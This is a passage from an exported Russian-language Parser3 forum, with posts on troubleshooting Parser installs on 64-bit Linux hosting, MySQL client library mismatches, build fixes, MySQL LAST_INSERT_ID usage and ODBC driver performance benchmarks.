Другой вариант - проверить parser3.cgi сначала в деле, может быть не на странице test.html он все же бьудет работать нормально, ведь форум он обрабатывает без проблем.\
\
Третий вариант - обратиться к разработчикам парсера, поскольку есть большая вероятность, что они уже сталкивались с этой проблемой и знают ее решение (разработчикам можно скопировать текст нашего письма, что бы им было понятнее о чем идет речь и что уже было предпринято для устранения ошибки).[/quote]\
\
[b]Вот и пришел к третьему варианту...[/b]\
\
\
\
[b]Продолжение проблемы, часть 2[/b]\
Системная информация - http://jino.ru/\
Операционная система:	Linux version 2.6.22.14-72.fc6\
Версия MySQL:	5.0.45 \
\
попутно покупаю другой хостинг, устанавливаю Parser, пробую тестовую страницу - работает.\
Далее переходим к БД и вот привожу лог с уже другой службой поддержки... \
\
[b]запрос:[/b]\
[quote]24.06.2008 15:37\
Установил Parser, который брал по адресу: http://www.parser.ru/download/redhat/\
Тестовая страница работает, но не работает подключение к бд-mysql.\
\
В логах ругается следующими словами:\
[Tue Jun 24 15:32:36 2008] [13038] /: /home/users/i/internet/domains/internet.jino.ru/auto.p(6:2): './lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', libmysqlclient.so: cannot open shared object file: No such file or directory [<no type>] [uri=/, method=GET, cl=0]\
\
В выписке из ошибок на офф-сайте сказано:\
…driver failed to initialize client library '/path/to/libmysqlclient.so'…\
Попытка парсера обратиться к клиентской библиотеке SQL сервера libmysqlclient.so не увенчалась успехом. Вам нужно узнать у вашего системного администратора полный дисковый путь к этому драйверу и прописать его в таблицу $SQL:drivers в главном конфигурационном файле.\
\
\
Какой нужно указывать путь? Заранее хочу предупредить что библиотека скорее всего нужна 32, а не 64...\
\
А еще лучше, сами посмотрите что и как нужно установить и сделать так - что бы все работало.[/quote]\
\
[b]ответ службы поддержки:[/b]\
[quote]Здравствуйте. Попробуйте все-таки такой путь: /usr/[b]lib64[/b]/libmysqlclient.so[/quote]\
\
(*lib64* а111 адин адин 11 адин 1111 - простите, нервы уже не к черту)\
\
[b]пишу им ответ[/b]\
[quote]Не помогло.\
Попробуйте, пожалуста, сами сделать так что бы все заработало. Я перепробовал все что в моих силах. И к сожалению у меня нет достаточных знаний для решения проблем подобного рода.[/quote]\
\
пока дальнейшего развития событий нет..."
"66864","ничего более кроме того, что надо найти и поставить 32-битную версию клиентской библиотеки (libparser3mysql.so) я порекомендовать не могу.\
\
судя по приведённым логам у вас всё время оказывалась в руках 64-битная версия библиотеки. как именно переставала работать тестовая страница после пересборки парсера -- вы не сообщаете (но предполагаю, что собирался парсер в 64-битном режиме, а там не всё работает, в частности точно не работает разбор exif информации их jpeg-файлов. хотя некоторые используют и такое).\
\
расскажите, что вам мешает самому cкачать 32-битный драйвер с mysql.com и попробовать с ним?\
\
P.S. [url=\"/forum/?id=63264\"]ссылка[/url] по теме"
"66865","Я не знаю что подходящее нужно качать, если в двух словах, то на сайте mysql.com - тупо смотрю абсолютно не понимая что к чему.\
Может это для вас там все просто, что и где там качать, но мне увы увы...\
\
ладно\
\
попробовал сам, скачал [b]mysql-client-5.0.51a[/b] через www.freebsd.org\
\
в итоге:\
[Wed Jun 25 12:35:58 2008] [14329] /: /home/am/forum/auto.p(25:2): './lib/libparser3mysql.so' driver failed to initialize client library './lib/libmysqlclient.so', ./lib/libmysqlclient.so: ELF file OS ABI invalid [<no type>] [uri=/, method=GET, cl=0]\
\
\
А вопрос, - помогите найти подходящие библиотеки. Версии mysql для первого и второго хостинга написаны в первом посте, но приведу еще раз:\
1) Системная информация - http://webxl.ru/\
Версия Apache: 1.3.41 (Unix)\
Версия MySQL: 5.0.51a-community-log\
Версия ядра: О/С 2.6.23.15-80.fc7\
\
2) Системная информация - http://jino.ru/\
Операционная система: Linux version 2.6.22.14-72.fc6\
Версия MySQL: 5.0.45"
"66867","хм... а чего там неясного?\
идете сюда:\
http://dev.mysql.com/downloads/mysql/5.0.html#downloads\
\
\
находите свою ось и качаете 32-битный архив, например для FreeBSD например первая ссылка тут:\
http://dev.mysql.com/downloads/mysql/5.0.html#freebsd\
\
в архиве есть либы, кладете ее в /parser-dir/lib/ и прописываете путь в конфигурационном auto.p\
\
Вообще версии OS вы указываете очень странно. В первом случае только версию ядра, без названия (очень смутно полагаю, что это не может быть freeBSD, так как о такой версии 2.6.23.15 никогда не слышал), во втором случае просто Linux  (Suse, Redhat...?) :)\
\
UPD: не знал что fc - это fedora"
"66870","Собриал при помощи buildall-with-xml, gmake пробовал.\
[code]parser3.C:616: error: first argument of ‘int main(size_t, char**)’ should be ‘int’\
make[3]: *** [parser3.o] Error 1[/code]"
"66871","Вобщем, возникла необходимость генерить документы в формате pdf.\
Может, у кого-нибудь есть документация (ссылки) по pdf, где рассказывается, как это можно сделать с нуля, т.е. без подключения всяких fpdf и т.д.?\
На Adobe лазил, но там разбираться долго. Может, что попроще есть у кого-нибудь?\
Хочу реализовать генерацию именно на parser."
"66872","Кое что есть тут -\
http://www.citforum.ru/programming/digest/pdf_inside/"
"66873","То, на что ругался, то и подправил ). В parser3.C для функции main тип первого аргумента (size_t) заменил на int. Работает нормально.\
\
Насколько я понимаю, никаких проблем быть не должно?"
"66874","#typedef unsigned int size_t"
"66875","При работе в качестве CGI интерпретатора получаю \"Premature End of script headers\".\
\
Попробовал пересобрать с unsigned int - ругается, говорит что нужен только int."
"66876","после сборки делали:\
\
[code]\
cd tests\
gmake tests\
[/code]\
?\
\
тесты проходили?"
"66877","Если тесты проходят, то можно ожидать нормальной работы?"
"66878","ибо в тестах, которые запускаются из коммандной строки, не проверяется работа с enviroment, cookies и т.д."
"66880","Приветствую.\
С точки зрения MySQL (и другого софта), Fedora Core - это Linux Red Hat (обозначение Red Hat обычно RH или просто Linux). И да, Вы правильно поняли - FC это Fedora Core.\
\
По поводу текущей проблемы - а причем тут 32-битная версия libmysqlclient.so не понятно. Эту библиотеку вообще не трогали, просто перекомпилили парсер и пришли к следующему результату:\
Форум работающий на parser3 с MySQL нормально работает. Подчеркиваю - он нормально работает, в том числе с установленной по умолчанию библиотекой. \
А вот страница test.html не работает и выдает permature of script header (error 500). Но ведь не в библиотеке мускуля дело, форум ведь работает.\
Ну и для очистки совести попробовали 32 битную библиотеку подключать к обоим версиям парсера (с этого сайта и самосборной), безрезультатно. \
Но опять же повторюсь, что версия парсера которую скомпилили мы нормально работает с MySQL, а помирает она на файле test.html (тестирование парсера). Вот эту проблему бы и решить. Ошибка по полочкам:\
Помирает оно по причине segmentation fault, стрейс бинарника показывает следующее:\
\
#strace ./cgi-bin/parser3/parser3.cgi ./test.html \
...много всего...\
stat(\"/home/юзер/тутбылсайт.ru/./_test\", 0x7fff839ebfc0) = -1 ENOENT (No such file or directory)\
mkdir(\"/home\", 0775)                    = -1 EEXIST (File exists)\
mkdir(\"/home/юзер\", 0775)           = -1 EEXIST (File exists)\
mkdir(\"/home/юзер/тутбылсайт.ru\", 0775) = -1 EEXIST (File exists)\
mkdir(\"/home/юзер/тутбылсайт.ru/.\", 0775) = -1 EEXIST (File exists)\
mmap(0x2aaaaac39000, 438272, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2aaaaac39000\
open(\"/home/юзер/тутбылсайт.ru/./_test.dir\", O_RDWR|O_CREAT, 0664) = 4\
open(\"/home/юзер/тутбылсайт.ru/./_test.pag\", O_RDWR|O_CREAT, 0664) = 5\
flock(4, LOCK_EX|LOCK_NB)               = 0\
fstat(4, {st_mode=S_IFREG|0664, st_size=0, ...}) = 0\
lseek(5, 0, SEEK_SET)                   = 0\
read(5, \"\\210\\0\\334\\37\\313\\37\\247\\37\\216\\37j\\37Q\\37-\\37\\24\\37\\360\\36\\327\\36\\263\\36\\232\\36v\\36]\\0369\\36\"..., 8192) = 8192\
lseek(5, 0, SEEK_SET)                   = 0\
write(5, \"\\212\\0\\334\\37\\313\\37\\247\\37\\216\\37j\\37Q\\37-\\37\\24\\37\\360\\36\\327\\36\\263\\36\\232\\36v\\36]\\0369\\36\"..., 8192) = 8192\
lseek(5, 0, SEEK_SET)                   = 0\
read(5, \"\\212\\0\\334\\37\\313\\37\\247\\37\\216\\37j\\37Q\\37-\\37\\24\\37\\360\\36\\327\\36\\263\\36\\232\\36v\\36]\\0369\\36\"..., 8192) = 8192\
read(5, \"\", 8192)                       = 0\
lseek(5, 0, SEEK_SET)                   = 0\
read(5, \"\\212\\0\\334\\37\\313\\37\\247\\37\\216\\37j\\37Q\\37-\\37\\24\\37\\360\\36\\327\\36\\263\\36\\232\\36v\\36]\\0369\\36\"..., 8192) = 8192\
read(5, \"\", 8192)                       = 0\
lseek(5, 0, SEEK_SET)                   = 0\
read(5, \"\\212\\0\\334\\37\\313\\37\\247\\37\\216\\37j\\37Q\\37-\\37\\24\\37\\360\\36\\327\\36\\263\\36\\232\\36v\\36]\\0369\\36\"..., 8192) = 8192\
lseek(5, 0, SEEK_SET)                   = 0\
read(5, \"\\212\\0\\334\\37\\313\\37\\247\\37\\216\\37j\\37Q\\37-\\37\\24\\37\\360\\36\\327\\36\\263\\36\\232\\36v\\36]\\0369\\36\"..., 8192) = 8192\
read(5, \"\", 8192)                       = 0\
lseek(5, 0, SEEK_SET)                   = 0\
read(5, \"\\212\\0\\334\\37\\313\\37\\247\\37\\216\\37j\\37Q\\37-\\37\\24\\37\\360\\36\\327\\36\\263\\36\\232\\36v\\36]\\0369\\36\"..., 8192) = 8192\
read(5, \"\", 8192)                       = 0\
lseek(5, 0, SEEK_SET)                   = 0\
read(5, \"\\212\\0\\334\\37\\313\\37\\247\\37\\216\\37j\\37Q\\37-\\37\\24\\37\\360\\36\\327\\36\\263\\36\\232\\36v\\36]\\0369\\36\"..., 8192) = 8192\
flock(4, LOCK_UN)                       = 0\
close(4)                                = 0\
close(5)                                = 0\
--- SIGSEGV (Segmentation fault) @ 0 (0) ---\
+++ killed by SIGSEGV +++\
\
Т.е. помирает оно при работе с файлами. \
Из прочитанного выше понял что эту проблему уже не решить, потому что компилится парсер на процессоре с 64-битной архитектуре. \
Остается брать с этого сайта 32-битную версию парсера и ставить совместимую версию либы мускуля (compat может быть). Будем пробовать, по результатам сообщим.\
\
P.S. При регистрации на этом форуме, получил ошибку \
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Правда после нажатия F5 регистрация все-таки прошла успешно."
"66881","спасибо что уделили время и пытаетесь помочь пользователям парсера с его установкой.\
\
\
[quote]\
По поводу текущей проблемы - а причем тут 32-битная версия libmysqlclient.so не понятно.[/quote]\
\
очень даже понятно: я приводил ссылку, и например там сказано, что для того, чтобы все работало, парсер, драйвер и либа должны быть _все_вместе_ или 32-битными или 64-битными. либа у вас 64-битная, вы упорно выбираете путь компиляции парсера и драйвера в 64-битном виде, несмотря на наши оговорки, что [b]пока они так не работают, чтобы заработали надо найти косяки в коде и поправить их[/b]. нам пока 64 битность не требовалась -- мы не правим.\
\
[quote]\
Эту библиотеку вообще не трогали, просто перекомпилили парсер и пришли к следующему результату:\
Форум работающий на parser3 с MySQL нормально работает\
[/quote]\
\
по факту вы получили парсер, в котором что-то работает, а что-то -- нет. так получилось, что в форуме не используются механизмы, которые в реалиях не работает, а в тесте они используются.\
\
[quote]\
Т.е. помирает оно при работе с файлами.\
[/quote]\
\
не совсем. это работа с hashfile. можно попробовать отключить её (поставить ^rem{}) и надеяться на чудо.\
а можно прогнать предлагаемые тесты после сборки (но они тоже не проверяют всего):\
[code]\
cd tests\
make tests\
[/code]\
\
я знаю, что Sumo успешно собирал 64-битный парсер на freebsd7 (приходится использовать gc7.0), и я своими глазами видел как собиарется парсер на каком-то 64-битном линуксе (не помню каком, смогу сообщить подробности завтра, как приду на работу).\
но я также видел, что при этом _не_ проходят все тесты, которые должны проходить (в частности доставание exif из jpeg).\
\
\
[quot]\
Остается брать с этого сайта 32-битную версию парсера и ставить совместимую версию либы мускуля\
[/quot]\
\
дык мы с самого начала именно этот путь и предлагаем, т.к. режим совместимости с 32 приложениями в подавляющем большинстве случаев включен, а скачать уже собранную либу проще, чем собирать парсер+драйвер."
"66883","Ну пока, используя 32-битную версию _всего_ получаю ошибку:\
\
'mysql://бд_юзер:бд_пароль@localhost/база' undefined protocol 'mysql' [parser.runtime]\
\
Может быть не совсем подходит библиотека MySQL, сейчас планируем пересобрать MySQL полностью в режиме совместимости."
"66884","ошибку выдаёт парсер (а может не нашелся конфигурационный auto.p?).\
а что с test.html? он должен показать, что в системных переменных."
"66885","Ну что ж, раз зеленоградцев тут нет, то рассмотрю любые предложения."
"66886","Да, была опечатка в auto.p\
32-битная версия парсера + 32-битная версия libmysqlclient.so эта связка помогла... Как Вы и говорили.\
Спасибо."
"66887","решается [url=\"/forum/?id=66886\"]аналогично[/url]: скачивается 32-битная клиентская библиотека (если доступна -- берёте хоть на webxl), кладётся куда вашей душе угодно (и куда у вас есть права), путь к ней прописывается в конфигурационном auto.p (абсолютный или относительный -- как вам больше нравится), заливается скачанный из раздела /download/redhat/ парсер и драйвер mysql (они 32-битные), устанавливаете права на parser3.cgi и все должно заработать.\
\
именно это и описано в инструкции по установке и FAQ, с чем именно у вас возникали сложности я, если честно, так и не понял."
"66888","То, что нужно для \"быстрого старта\":)"
"66889","обе конструкции с match показали одинаковые значения, по всей видимости по разному выделялась память, а вот вариант с pos оказался в два раза менее ресурсоёмким."
"66890","вот есть такая проблема.\
через одну форму нужно передать  параметры двух таблиц. т.е. добавляю данные сразу в две таблицы.\
есть две таблицы одна m_links  другая admin_module\
нужно чтобы в na,kbwe admin_module в поле m_links добавился номер который равен last_insert_id поля links_id из таблицы m_links\
\
вот код \
\
[code]^if(def $form:primary_menu){\
   ^connect[$SQL.connect-string]{\
      ^void:sql{insert into m_links\
         (primary_id, pod_id, name, uri, descr, is_published)\
      values\
         ('$form:primary_menu', '$form:secondary_menu', '$form:name', '$form:uri', '$form:descr', '$form:is_published')\
      }\
	  ^void:sql{insert into admin_module\
         (m_links, name, body, process)\
      values\
         ('как здесь указать значение следующего номера ID которое добавиться в этом запросе из таблицы m_links.links_id', '$form:name', '$form:body', '$form:process')\
      }\
      <p>... добавлен успешно ...\
      }\
}{\
<p>   Заполните все поля формы !!!\
}[/code]\
\
не могу понять как это можно реализовать  ? подскажите что нибдуь ?"
"66891","+ примеры \"О переносимости SQL запросов\"\
+ мануал по MySQL"
"66894","Что интересно, ни лога парсера ни дампа не создаётся"
"66896","реальные ресурсы (по CPU) какие выделяются?\
канал?\
\
парсерные проекты работают без проблем?"
"66897","- вчера остановились на тестах. вы их прогоняли? прогоните. какие дают ошибку?\
- ldd parser3.cgi\
- из shell запускается ./parser3.cgi?\
- если выводятся копирайты, то: если положить его в каталог cgi-bin, настроить необходимые права и сделать необходимый chown, а затем обратиться через броузер: http://ваш-вервер/cgi-bin/parser3.cgi -- что-нить выводится? (не забываем в IE отключить \"friendly messages\")\
- если выводятся копирайты то: если назначить его обработчиком html страниц, написать простенький скрипт с ^eval(2+2) и обратится из броузера что-нить выводится?\
- если это работает, то попробуйте из броузера обратится к test.html (найдите сами где его взять)\
\
P.S. практически все из вышеперечисленного или есть в инструкции по установке или в FAQ или в результатах поиска по форуму"
"66900","Услугами компания устраивает, проблем пока не было. И тех. поддержка довольно быстро отвечает на письма.\
\
По ресурсам пока не замерял... И так занят другими делами.\
Про канал ищите на сайте, там где-то было написано.\
\
На их хостинге у меня только один проект - [url=\"http://www.usetrans.com\"]товары из Китая - useTrans[/url]."
"66903","[quote]- вчера остановились на тестах. вы их прогоняли? прогоните. какие дают ошибку?[/quote]\
\
Ошибок не дают. И почему я вчера не обратил на это внимание?\
\
[quote]\
- ldd parser3.cgi\
[/quote]\
\
linux-gate.so.1 =>  (0xffffe000)\
        libdl.so.2 => /lib/libdl.so.2 (0xb7f68000)\
        libcrypt.so.1 => /lib/libcrypt.so.1 (0xb7f32000)\
        libm.so.6 => /lib/libm.so.6 (0xb7f0c000)\
        libgcc_s.so.1 => /lib/libgcc_s.so.1 (0xb7efe000)\
        libc.so.6 => /lib/libc.so.6 (0xb7dbb000)\
        /lib/ld-linux.so.2 (0xb7f87000)\
\
[quote]\
- из shell запускается ./parser3.cgi?\
[/quote]\
\
да.\
\
[quote]\
- если выводятся копирайты, то: если положить его в каталог cgi-bin, настроить необходимые права и сделать необходимый chown, а затем обратиться через броузер: http://ваш-вервер/cgi-bin/parser3.cgi -- что-нить выводится? (не забываем в IE отключить \"friendly messages\")\
[/quote]\
\
да.\
\
[quote]- если выводятся копирайты то: если назначить его обработчиком html страниц, написать простенький скрипт с ^eval(2+2) и обратится из броузера что-нить выводится?\
[/quote]\
да. 4.\
\
[quote]- если это работает, то попробуйте из броузера обратится к test.html (найдите сами где его взять)[/quote]\
\
Где взять знаю, все тесты проходит.\
\
[quote]P.S. практически все из вышеперечисленного или есть в инструкции по установке или в FAQ или в результатах поиска по форуму[/quote]\
\
Пришёл к выводу, что проблема была в скриптах на парсере, т.к. положил скомпилированный интерпретатор на хостинг с проектом на версии парсера 3 и разрабатывался он несколькими людьми.\
\
Буду тестировать на новом проекте в течении недели. Если кому нужен бинарник - пишите.\
\
Отдельной строкой хочу поблагодарить всех отписавшихся, ваша помощь и терпение заслуживают уважения. У Parser отличное комьюнити."
"66904","[quote]\
[тесты] ошибок не дают.\
[/quote]\
\
вообще нет ошибок?\
невероятно, у меня они есть %-)\
\
\
[quote]\
Пришёл к выводу, что проблема была в скриптах на парсере\
[/quote]\
\
скрипты на парсере не должны приводить к Premature end... (ну разве если в процессе выполнения превышается время/память выделенная системой и скрипт пристреливается автоматически)\
\
\
[quote]\
Если кому нужен бинарник - пишите.\
[/quote]\
\
если заархивируете, выложите у себя для скачивания, пришлёте ссылку на файл -- размещю ссылку в разделе \"прислали пользователи\". возможно кому-то пригодится. мы собранные не нами бинарники у себя не размещаем."
"66905","Ну если желающих скоро не появиться, пойду искать их в других местах... :("
"66908","ОС: Unknown GNU Linux\
\
Сборка парсера:\
./build-with-xml (раскомментирована опция --with-dynamic-stdcpp)\
\
Сборка драйвера mysql:\
./configure --prefix=$HOME/parser3install --with-dynamic-stdcpp\
make LDFLAGS=-lstdc++\
\
В комплекте готовый набор для cgi-bin: парсер, драйвер mysql, чарсеты, конфигурация).\
\
Для использования на DreamHost достаточно создать каталог cgi-bin и распаковать туда.\
\
Возможно, будет работать и на других хостингах. Если у кого-то взлетит, отпишитесь, пожалуйста.\
\
Брать тут: http://gregor.ru/files/parser-3.2.3-dreamhost.tgz\
\
PS: возможно, это 64-разрядная сборка. по крайней мере на машине в работе 16гиг памяти и есть каталог /usr/lib64. однако, я не специалист по линуксам, поэтому могу ошибаться."
"66909","Проблема premature end of script headers была в драйвере MySQL. Собрал и драйвер.\
\
Так, мини-HOWTO:\
\
Сборка парсера:\
1) ./build-with-xml (раскомментирована опция --disable-safe-mode)\
2) выдаёт ошибку о том, что первый аргумент функции main должен иметь тип int. Меняем в src/targets/cgi/parser3.C тип первого аргумента функции main на int.\
3) make clean\
4) make\
5) make install\
\
Сборка драйвера mysql:\
1)./configure --prefix=$HOME/parser3install\
   1*) если выдаёт ошибку о --with-mysql-inc, то поставить пакет libmysqlclient-devel, и ./configure --prefix=$HOME/parser3install --with-mysql-inc=/usr/include/mysql\
2) make LDFLAGS=-lstdc++\
   2*) если опять выдаёт ошибку, то проверить структуру каталогов согласно INSTALL и make LDFLAGS=-lstdc++\
3) make install\
\
Подсказка: если размер только что собранного вами исполняемого файла кажется вам большим (\"ого, да здесь целых семь мегов!\"), то сделайте strip <исполняемый_файл> (\"фига, а теперь всего полтора мега!\"), эта команда удаляет отладочную информацию.\
\
Бинарники можно скачать\
http://borisov.tversu.ru/parser/parser3_2_3_opensuse11_cgi_xml.zip\
http://borisov.tversu.ru/parser/parser3_2_3_opensuse11_cgi_xml.tar.gz\
\
http://borisov.tversu.ru/parser/parser3sql_opensuse11_mysql.zip\
http://borisov.tversu.ru/parser/parser3sql_opensuse11_mysql.tar.gz"
"66910","Если собрали - было бы полезно выложить сборку с включенным safe mode тоже. Все таки это рекомендуемый вариант работы парсера.\
upd. и в тему сообщения добавить что сборка для opensuse 11, чтобы конкретно это сообщение находилось поиском по форуму"
"66913","http://html2pdf.seven49.net/Web/en/Online_Demo/Default.htm\
\
Посмотрите, может горадо проще и эффективнее будет купить это... :)"
"66914","Есть люди или компании в Москве, готовые поддерживать сайт написанный на Parser? Отзовитесь! О цене договоримся."
"66918","copyweb.narod.ru"
"66919","Но запустить Парсер там не удается. Ошибка:\
\
[quote][error] [client 93.80.102.246] Request exceeded the limit of 20 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [/quote]\
\
Саппорт говорит:\
\
[quote]Пока что разбираемся. Возможно проблема в правах доступа.[/quote]\
\
Отправлял заявку ДВА дня назад. И до сих пор решить проблему или помочь/подсказать не могут.\
\
Так что делайте выводы. Саппорт явно работает медленно. Парсер похоже просто так не поставить. Чуть позже сообщу как работает CMS Изюминка, если удасться запустить Парсер."
"66922","собственно в самом парсере изменений, кроме изменений API драйверов (в beta9 -- v10, текущая -- v9) -- нет.\
\
для того, чтобы тестировать эти версии парсера, нужно обновлять и его и sql драйвера (пока не выложен длайвер oracle-а).\
чтобы не заниматься копированием драйверов туда/обратно, может быть удобно положить новые драйвера в отдельную каталожку и в @conf[] определить переменную, в которой изменяется путь к ним.\
\
\
- все SQL сервера: в sql запросах теперь корректно работает $.limit(0) -- делается sql запрос, но достаётся 0 записей. раньше указание $.limit(0) было равносильно его отсутствию, что некорректно.\
\
- ODBC: драйвер сильно ускорен в случае limit + больших offset. при работе с MSSQL 2000 я проанализировал profiler-ом и был приятно удивлён, что новая реализация оказалоась даже быстрее чем рекомендуемый для подобного случая вложенный подзапрос с двумя top. с драйвером для MSSQL от erg-а сравнить его пока не смог (не удалось подключить последний, но долго я с этим не возился). подробности тестирования опишу позже. скорее всего сделанные правки включу и в текущую версию + выложу пересобранный драйвер.\
\
- SQLite: путь к файлу задаётся относительно document_root (как и всюду в парсере. это несовместимое изменение, раньше путь указывался относительно исполняемого файла парсера); обрабатываются опции autocommit=0 (по умолчанию==1), multi_statements=1 (по умолчанию==0), ClientCharset=кодировка (по умолчанию UTF-8, это default кодировка SQLite и не стОит её менять. если вы пользовались старой версией драйвера, то вам надо или указать ?ClientCharset=$request:charset или перекодировать вашу БД в UTF-8); кавычка (\") корректно экранируется; в качестве пути к БД можно указать специальные значения -- :memory: и :temporary:; серверные сообщения об ошибках перекодируются из UTF-8 в $request:charset.\
\
\
исправления API и много исправлений в драйверах были присланы Sumo."
"66923","Вот такой код\
[code]\
@isit[id]\
^if(($id>1)&&($id<5)){true}{false}\
\
^if(^isit[4]){\
 Подходит. \
}\
[/code]\
\
Приводит к ошибке \
id\
invalid number (double)\
\
Что не так?\
\
Такой код тоже не работает:\
[code]\
@isit[id]\
^if(($id>1)&&($id<5)){$result[true]}{$result[false]}\
\
^if(^isit[4]){\
 Подходит. \
}\
[/code]\
\
Пришлось вместо литералов использовать 1 и 0.\
Заработало только такое\
[code]\
@isit[id]\
^if(($id>1)&&($id<5)){$result[1]}{$result[0]}\
\
^if(^isit[4]){\
 Подходит. \
}\
[/code]"
"66924","Надо так:\
[code]\
@isit[id]\
$result($id>1 && $id<5)\
[/code]"
"66925","а как возвратить именно логический литерал?"
"66926","[code]@main[]\
^if(^isit[4]){\
 Подходит. \
}\
\
\
@isit[id]\
^if(($id>1)&&($id<5)){$result(true)}{$result(false)}\
\
или \
\
@isit[id]\
$result(^if(($id>1)&&($id<5)){true}{false})\
\
[/code]\
\
Правда непонятно, зачем вам именно \"строковый литерал\". Имхо, вариант Sumo смотрится элегантней )"
"66927","если он по каким-то причинам вам не подходит и вам нужно явно-написанные true и false, то в вашем if замените фигурные скобки на круглые -- и всё заработает."
"66928","Спасибо :) \
То, что нужно. \
Вариант Sumo хуже читается.\
Особенно при сложных условиях."
"66929","про функцию  LAST_INSERT_ID()\
читал на форуме читал инструкцию, но она у меня на срабатывает. выдает ошибку.\
вот такую:\
[code]mysql://****@localhost/base?charset=cp1251_koi8\
\
result must not contain more then one row[/code]\
\
поэтому и спросил есть ли другие способы ?\
вот так я ее вызывал.\
[code]^connect[$SQL.connect-string]{$last[^int:sql{select last_insert_id() from links}]}\
$last[/code]"
"66930","[quote]result must not contain more then one row[/quote]\
\
класс int не может содержать более одной строки. нужно ограничить выборку до одной\
\
[code]\
^connect[$SQL.connect-string]{$last[^int:sql{select last_insert_id() from links}[ $.limit(1) ]]}\
[/code]"
"66931","Эта функция вызывается так:\
\
[code] SELECT LAST_INSERT_ID()[/code]\
\
т.е. без указания from\
\
http://dev.mysql.com/doc/refman/5.1/en/information-functions.html#function_last-insert-id"
"66932","Парсер 3.2.2.\
$sPath[http://www.site.com/?param=]\
$sFileName[1]\
$fFile[^file::load[binary;${sPath}$sFileName;$.timeout(60)]]\
\
На ХР SP2 работает без проблем.\
\
На ХР SP3 с запрещенной работой с сокетами не работает вообще.\
Вставлен ^try{}, в случае ошибки идет запись в файл номера закачиваемой страницы. Работа файла заканчивается на попытке закачать первую же страницу.\
В браузере http://www.site.com/?param=1 открывается без проблем.\
\
В чем может быть проблема?"
"66933","так он получает значение равное меню.\
хотя в таблице уже много строк.\
влияет ли на это то что поле auto_increment имеет имя не ID а другое имя ?"
"66934","нужно просто убрать из запроса 'from таблица', а не усложнять запрос, а потом как-то пытаться упростить усложнённое."
"66935","тогда как он будет узновать, из какой таблицы брать значение last_insert_id ??\
у меня там три коннекта используется в три таблицы.\
к какой таблицы обратиться этот запрос ?"
"66936","делайте select last_insert_id() после каждого insert, делов-то."
"66937","вот уже ближе. теперь я понял суть проблемы.\
прикол в том что я должен узнать до команды insert\
значение последнего last_insert_id\
это уже немного сложнее. хотя вариант один вижу.\
хранить в хеше предыдущий номер... \
или есть другие спопсобы  ?"
"66938","судя по вашему коду, вам вообще не нужен last_insert_id().\
просто сделайте ваше поле primary_id AUTO_INCREMENT и уберите его упоминание из insert."
"66939","Может расскажете зачем?\
Если вставки и удаления делает только ваш скрипт в одном экземпляре, то последний id можно узнать таким простым запросом перед insert\
\
[code]SELECT MAX(your_id) FROM table[/code]\
\
но если кто то удалит или вставит запись между ним и insert - сами понимаете.\
\
чем механизм last_insert_id() не устраивает?"
"66940","... но можно решить не сложным запросом:\
[code]\
select max(id) from table\
[/code]\
\
Но это код не thread-safe!"
"66941","исправил openType и options, немного изменил пропуск строк до указанного offset. стало работать существенно быстрее (ибо readOnly теперь работает). \
\
тестировал следующим образом (MSSQL 2000):\
- создал табличку с полями id int identity, uid varchar(63). на поле uid добавил unique index ASC.\
- в табличку добавил 100 000 записей\
- тестовый запрос:\
[code]\
	$t[^table::sql{\
		SELECT\
			*\
		FROM\
			test\
		ORDER BY\
			uid DESC\
	}[\
		$.limit(15)\
		$.offset(90000)\
	]]\
[/code]\
\
и вывожу полученные записи.\
- Stop SQL server, Start SQL server, 2 обращения к скрипту.\
\
результаты:\
1. parser 3.2.3 cgi + xml + старый odbc драйвер (9.4): первый запрос ~11 сек, второй и последующие запросы ~11 сек (без изменений);\
\
2. parser 3.2.3 cgi + xml + новый odbc драйвер (9.5): первый запрос ~600ms, второй и последующие запросы ~500ms;\
\
3. parser 3.2.3 cgi + xml + [url=/forum/?id=64464]native mssql драйвер[/url] от egr-а: первый запрос ~5 сек, чторой и последующий ~3.5 сек.\
\
4. запускаю Query Analizer, выполняю запрос:\
[code]\
SELECT getdate();\
SELECT\
	TOP 15 *\
FROM\
	test\
WHERE\
	id NOT IN (\
		SELECT\
			TOP 90000 id\
		FROM\
			test\
		ORDER BY\
			uid DESC\
	)\
ORDER BY\
	uid DESC;\
SELECT getdate();\
[/code]\
\
что первый, что последующие запросы -- ~1.5 сек (время выполнения запроса смотрю по разнице между getdate()).\
\
4. Stop|Start серверу, запускаю profiler, затем все запросы в указанном ниже порядке (не делаю Stop|Start для каждого эксперимента, т.к. для старого драйвера и запроса с 2 TOP+подзапросом разницы от повторных запусков почти нет). ниже результаты значимых столбцов из trace.\
[code]\
что			CPU	Reads	Writes	Duration\
старый драйвер		2625	254997	1144	14060\
новый драйвер		672	2336	0	576\
2 TOP + subquery	735	5346	0	1923\
mssql драйвер		718	3192	0	3876\
[/code]\
\
\
делаю вывод, что новый механизм (readonly курсор) -- лучший вариант :)\
\
\
собрал и выложил обновленный драйвер и его исходники."
"66944","Короче, я что-то разочаровался в джино:\
\
Нет SSH\
Нет возможности создавать поддомены на ту же папку, где основной сайт сидит\
Техподдержка отвечает крайне долго\
\
Придется другой хостинг искать."
"66945","Тестовые условия аналогичные - таблица на 100К гуидов (только она t называется а не test), индексы и поля такие же. И вот что имею:\
[code]\
что			CPU	Reads	Writes	Duration\
новый драйвер		47	792	0	170\
2 TOP + subquery	156	1446	0	151\
mssql драйвер		78	784	0	75\
[/code]\
У меня на машине 4 Гб, своп отключен.\
\
Возможно с SQL 2000 native client не очень оптимально работает.\
\
Рекомендую попробовать поставить SQL 2005 Express (он бесплатен) и с ним попробовать.\
\
PS: Тестировал на 3.2.4b9 и драйвере реализующем API v10"
"66946","кривой или поменялось что-то в работе с бд?\
те запросы что раньше нормально отрабатывались теперь internal server error"
"66948","БД Pervasive 2000i, запрос такой\
[code]\
SELECT\
 concat(convert(MESN,SQL_VARCHAR),\
 convert(YEARN,SQL_VARCHAR)) AS mesyear,\
 MESN,\
 YEARN,\
 ROUND(SUM(SUMMA),0) AS SUMMES\
FROM\
 SUMVIDOP\
WHERE\
 (vidopl=1 or vidopl=2 or vidopl=3 or vidopl=5 or vidopl=6 or vidopl=7   or vidopl=9 or vidopl=10 or vidopl=11\
